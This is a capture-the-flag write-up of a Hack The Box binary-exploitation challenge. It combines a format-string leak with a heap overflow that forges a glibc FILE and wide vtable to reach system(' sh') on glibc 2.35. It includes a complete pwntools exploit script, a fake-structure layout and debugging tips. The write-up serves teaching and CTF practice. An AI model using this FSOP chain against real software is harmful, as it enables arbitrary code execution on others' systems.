Love Letter looks like a heap allocator challenge at first. It has notes,
allocations, deletes, and plenty of pointers moving around. The exploit needs no
tcache poisoning or use-after-free. The useful heap object is created by
fopen() itself: a live glibc FILE structure placed directly after an
overflowing save buffer.
The challenge comes from Hack The Box's Stack Smash repository. Its stated goal is to get a shell through a FILE-structure and vtable exploit. The exploit uses a House of Apple 2 style chain on the supplied glibc 2.35:
fwrite
-> _IO_wfile_xsputn
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
-> call [fp->_wide_data->_wide_vtable + 0x68]
-> system(" sh")
The outer vtable remains a valid libc vtable. The controlled function pointer
lives one level deeper, in fake _wide_data stored on the heap.
Protections and supplied runtime
The patched binary uses its supplied loader and libc:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
libc: Ubuntu GLIBC 2.35-0ubuntu3.1
Full RELRO removes the easy GOT-overwrite route. NX removes injected shellcode, and PIE plus ASLR mean that both libc and heap addresses have to be recovered at runtime. The canary never enters the picture because the overflow stays on the heap.
The two bugs
The note author is used as a format string in print_note():
printf(current->author);
The author field is small, but payloads such as %15$p fit. That is enough for
address disclosure. It is not a pleasant format-string write primitive because
there is almost no room to place addresses and conversion directives.
The control-flow bug is in save_notes(). The function allocates a large
aggregation buffer and then opens notes.md:
mov edi, 0x15a8
call malloc
...
call fopen
mov [fp], rax
After writing the existing notes, it asks for extra text. The destination is near the end of the allocation, but the read accepts 500 bytes:
add rax, 0x14a0 ; extra = save_buf + 0x14a0
...
mov edx, 0x1f4 ; 500 bytes
mov rsi, rax
mov edi, 0
call read
That read crosses the end of save_buf and reaches the heap FILE object
returned by fopen(). The program then uses the corrupted stream immediately:
call strlen
call fwrite ; corrupted fp is the fourth argument
call free
call fclose
The next fwrite() dereferences the overwritten object directly, so no
allocator freelist manipulation is required.
Leaking libc and the heap
The solve creates a note whose author is a positional %p, prints it, and then
deletes it before taking the next leak. Two values are needed.
For libc:
create(b'%15$p', b'BB')
show(1)
ru(b'Author: ')
libc_leak = int(ru(b'\n').strip(), 16)
libc.address = libc_leak - 0x29d90
delete(1)
For the heap:
create(b'%7$p', b'BB')
show(1)
ru(b'Author: ')
heap_leak = int(ru(b'\n').strip(), 16)
heap_base = heap_leak - 0x2a0
delete(1)
Measuring the overflow
With the heap leak, the relevant allocations are stable:
fp = heap_base + 0x19b0
controlled_start = fp - 0x110
The geometry behind those values is:
save_buf = heap_base + 0x0400
controlled_start = save_buf + 0x14a0
= heap_base + 0x18a0
fp = heap_base + 0x19b0
fp - controlled_start = 0x110
So input offset 0x110 is the first byte of the real FILE object:
save(b'A' * 0x110 + b'B' * 8)
After that payload, fp->_flags contains BBBBBBBB. That confirms the target,
but blindly filling the entire gap with A immediately breaks malloc metadata.
Keep the FILE chunk header valid
fp points to chunk user data. Its malloc header is 16 bytes earlier:
fp - 0x10 prev_size = 0x0
fp - 0x08 size = 0x1e1
fp + 0x00 struct _IO_FILE begins
Relative to controlled_start, those qwords are at 0x100 and 0x108:
0x100: p64(0x0),
0x108: p64(0x1e1),
The low bit in 0x1e1 is PREV_INUSE, so glibc will not consult
prev_size. If the size field remains 0x4141414141414141, the later
free(save_buf) aborts before the stream cleanup finishes.
Why ordinary FSOP vtable replacement fails
An _IO_FILE_plus ends with an outer jump-table pointer:
struct _IO_FILE_plus {
struct _IO_FILE file;
const struct _IO_jump_t *vtable;
};
Older FSOP examples point that vtable straight at attacker-controlled memory.
Modern glibc checks whether the pointer falls inside its known
__libc_IO_vtables section. A heap vtable fails _IO_vtable_check.
Wide-character streams provide another pointer chain:
FILE
+0xa0 _wide_data
+0xe0 _wide_vtable
+0x68 __doallocate
The outer pointer is checked. The nested _wide_vtable used by this path is
not subjected to the same validation. The exploit therefore keeps:
fp->vtable = libc.sym['_IO_wfile_jumps']
and moves the fake table into the overflow buffer.
Finding the call path with angry-FSROP
angry-FSROP was run against the
supplied unstripped libc. The script takes functions referenced by valid libc stdio
vtables, gives them a symbolic FILE, and looks for paths where the instruction
pointer becomes symbolic.
The useful _IO_wfile_overflow result ended at:
_IO_wfile_overflow
-> _IO_wdoallocbuf
mov rax, [rdi + 0xa0]
...
mov rax, [rax + 0xe0]
call [rax + 0x68]
With rdi == fp, those instructions mean:
rax = fp->_wide_data
rax = rax->_wide_vtable
RIP = rax[0x68]
The symbolic branch guards translate into a short set of concrete conditions:
fp->_flags & 0x8 == 0
fp->_flags & 0x800 == 0
fp->_flags & 0x2 == 0
fp->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base == 0
The output gives a candidate indirect call and the state required to reach it.
GDB confirms that the real fwrite() entry point can get there.
Use the real _IO_wfile_jumps
Shifting the outer vtable can make its __xsputn slot land directly on
_IO_wfile_overflow. On this glibc, that gives fwrite() a function with the
wrong semantics. The stable setup uses the real table:
outer_vtable = libc.sym['_IO_wfile_jumps']
Now glibc follows its normal wide write path:
fwrite
-> _IO_wfile_xsputn
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
The only forged call target is the unchecked +0x68 entry in the inner wide
vtable.
Overlaying the fake structures
The 500-byte overflow has to hold the chunk header, the replacement FILE,
fake _wide_data, a fake wide vtable, and a usable lock. They overlap. That is
deliberate; laying them out as separate C structures would not fit as neatly.
fake_wide_data = controlled_start + 0xb0
fake_wide_vtable = controlled_start + 0x120
The layout is:
controlled_start + 0x000 nonzero filler for strlen()
controlled_start + 0x0b0 fake _IO_wide_data begins
controlled_start + 0x100 fp chunk prev_size
controlled_start + 0x108 fp chunk size
controlled_start + 0x110 overwritten FILE begins
controlled_start + 0x120 fake wide vtable begins, inside FILE
controlled_start + 0x188 fake wide vtable + 0x68 = system
controlled_start + 0x190 fake wide data + 0xe0 = fake wide vtable
controlled_start + 0x1e8 FILE outer vtable = _IO_wfile_jumps
controlled_start + 0x1f0 zeroed fake lock
Two pointers tie it together:
fp->_wide_data = controlled_start + 0xb0
fp->_wide_data->_wide_vtable = controlled_start + 0x120
and the one controlled call slot is:
*(fake_wide_vtable + 0x68) = libc.sym['system']
Making fp a command string
At the indirect call inside _IO_wdoallocbuf, rdi still contains fp:
system(fp);
The first bytes of the fake FILE must therefore double as a shell command and
as _flags. The payload uses:
fp->_flags = b' sh\0'
In memory that is:
20 73 68 00 = " sh\0"
The leading space is valid shell syntax, sh is resolved through PATH, and
the resulting integer 0x00687320 passes the flag checks found by angr:
0x00687320 & 0x8 == 0
0x00687320 & 0x800 == 0
0x00687320 & 0x2 == 0
That makes the indirect call:
system(" sh")
strace confirms the process chain:
execve("/bin/sh", ["sh", "-c", " sh"], ...)
execve("/usr/bin/sh", ["sh"], ...)
The boring fields that still matter
Locking and cleanup paths must also survive before and after the indirect call.
The filler cannot start with zero
After the overflow, save_notes() calls:
strlen(controlled_start);
fwrite(controlled_start, 1, length, fp);
If the payload begins with \0, the length is zero and fwrite() never takes
the path we need. flat(..., filler=b'A') keeps the prefix nonzero. The first
explicit zero appears later, so the write length is still enough to trigger the
corrupted stream.
_lock needs valid, unlocked memory
The original heap stream stores its lock directly after the FILE object:
original _lock = fp + 0xe0
The fake stream keeps that layout:
fp->_lock = fp + 0xe0
*(uint32_t *)(fp + 0xe0) = 0
A null _lock crashes on a dereference. An A-filled lock looks held and hangs
inside __lll_lock_wait_private. A zero word means unlocked.
Backup pointers must not contain A
fclose() eventually cleans the stream. Fields such as _IO_backup_base,
_IO_save_base, _markers, _codecvt, and their wide equivalents cannot be
left as 0x4141414141414141; glibc may dereference or free them. The payload
zeros every cleanup pointer it can reach.
_mode = -1 avoids wide cleanup
The outer vtable selects the wide write functions. After the shell exits,
however, fclose() still inspects _mode. Setting it to -1 avoids a wide
codecvt cleanup path that otherwise dereferences the forged state.
Complete exploit
from pwn import *
exe = './love_letter_patched'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'info'
io = process(exe)
sla = lambda delim, data: io.sendlineafter(delim, data)
ru = lambda delim: io.recvuntil(delim)
def create(author, note):
sla(b'Choice: ', b'1')
sla(b'> ', author)
sla(b'> ', note)
sla(b'> ', b'n')
def show(idx):
sla(b'Choice: ', b'3')
sla(b'> ', str(idx).encode())
def delete(idx):
sla(b'Choice: ', b'4')
sla(b'> ', str(idx).encode())
def leak(fmt):
create(fmt, b'BB')
show(1)
ru(b'Author: ')
value = int(ru(b'\n').strip(), 16)
delete(1)
return value
libc.address = leak(b'%15$p') - 0x29d90
heap_base = leak(b'%7$p') - 0x2a0
log.info(f'libc base: {libc.address:#x}')
log.info(f'heap base: {heap_base:#x}')
fp = heap_base + 0x19b0
controlled_start = fp - 0x110
fake_wide_data = controlled_start + 0xb0
fake_wide_vtable = controlled_start + 0x120
payload = flat(
{
# Fake _IO_wide_data.
0xb0 + 0x18: p64(0),
0xb0 + 0x30: p64(0),
0xb0 + 0x40: p64(0),
0xb0 + 0x48: p64(0),
0xb0 + 0x50: p64(0),
0xb0 + 0xe0: p64(fake_wide_vtable),
# _IO_wdoallocbuf calls [fake_wide_vtable + 0x68].
0x120 + 0x68: p64(libc.sym['system']),
# Preserve the malloc header directly before fp.
0x100: p64(0),
0x108: p64(0x1e1),
# Replacement FILE at controlled_start + 0x110.
0x110 + 0x00: b' sh\0\0\0\0\0',
0x110 + 0x08: p64(0),
0x110 + 0x10: p64(0),
0x110 + 0x18: p64(0),
0x110 + 0x20: p64(0),
0x110 + 0x28: p64(0),
0x110 + 0x30: p64(0),
0x110 + 0x38: p64(0),
0x110 + 0x40: p64(0),
0x110 + 0x48: p64(0),
0x110 + 0x50: p64(0),
0x110 + 0x58: p64(0),
0x110 + 0x60: p64(0),
0x110 + 0x68: p64(0),
0x110 + 0x70: p64(3),
0x110 + 0x88: p64(fp + 0xe0),
0x110 + 0x98: p64(0),
0x110 + 0xa0: p64(fake_wide_data),
0x110 + 0xc0: p64(0xffffffff),
0x110 + 0xd8: p64(libc.sym['_IO_wfile_jumps']),
# read() accepts exactly 0x1f4 bytes, ending four bytes into the lock.
0x110 + 0xe0: p32(0),
},
filler=b'A',
)
assert len(payload) == 0x1f4
sla(b'Choice: ', b'5')
io.sendafter(b'> ', payload)
io.interactive()
The length assertion is worth keeping. The vulnerable read() accepts exactly
0x1f4 bytes. If a later edit extends the payload, the tail will remain in
stdin instead of reaching the fake structure.
Common failure modes
free(): invalid next size
The overflow destroyed the fp chunk size. Restore prev_size=0 and
size=0x1e1.
Crash dereferencing address 0x8
fp->_lock was null. Point it at the unlocked word at fp+0xe0.
Hang in __lll_lock_wait_private
The fake lock contained A bytes and appeared locked. Zero the lock word.
No call into wide stdio
strlen(controlled_start) returned zero. Use nonzero filler so fwrite() gets
a nonzero length.
free(0x4141414141414141)
Backup or codecvt pointers still contained filler. Zero every cleanup pointer that glibc may free or dereference.
Crash at call [0+0x68]
The fake _wide_data->_wide_vtable pointer was overwritten by an overlapping
field. Move fake _wide_data to controlled_start+0xb0.
The most useful conditional breakpoints were:
set $target_fp = <heap_base + 0x19b0>
b *_IO_wfile_xsputn if $rdi == $target_fp
b *_IO_wfile_overflow if $rdi == $target_fp
b *_IO_wdoallocbuf if $rdi == $target_fp
b *_IO_vtable_check
At the final call, check these values:
rdi = fp, starting with " sh\0"
fp->_wide_data = controlled_start + 0xb0
fp->_wide_data->_wide_vtable = controlled_start + 0x120
[fp->_wide_data->_wide_vtable+0x68] = system
fp->vtable = _IO_wfile_jumps
Final memory map
The exploit is easier to remember as pointer chasing than as a 500-byte blob:
format string
-> libc base
-> heap base
heap overflow
-> preserve fp chunk header
-> replace live FILE
fwrite(buf, len, fp)
-> valid outer _IO_wfile_jumps
-> _IO_wfile_xsputn
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
-> fp->_wide_data
-> fake _wide_vtable
-> [fake _wide_vtable + 0x68] = system
-> system(fp)
-> system(" sh")
The trigger determines what corrupted FILE fields provide. Forged stdout
write pointers can leak memory, while forged stdin refill pointers can write to
memory. Love Letter overwrites vtable-related fields of a heap stream so
fwrite() makes an indirect call.
References: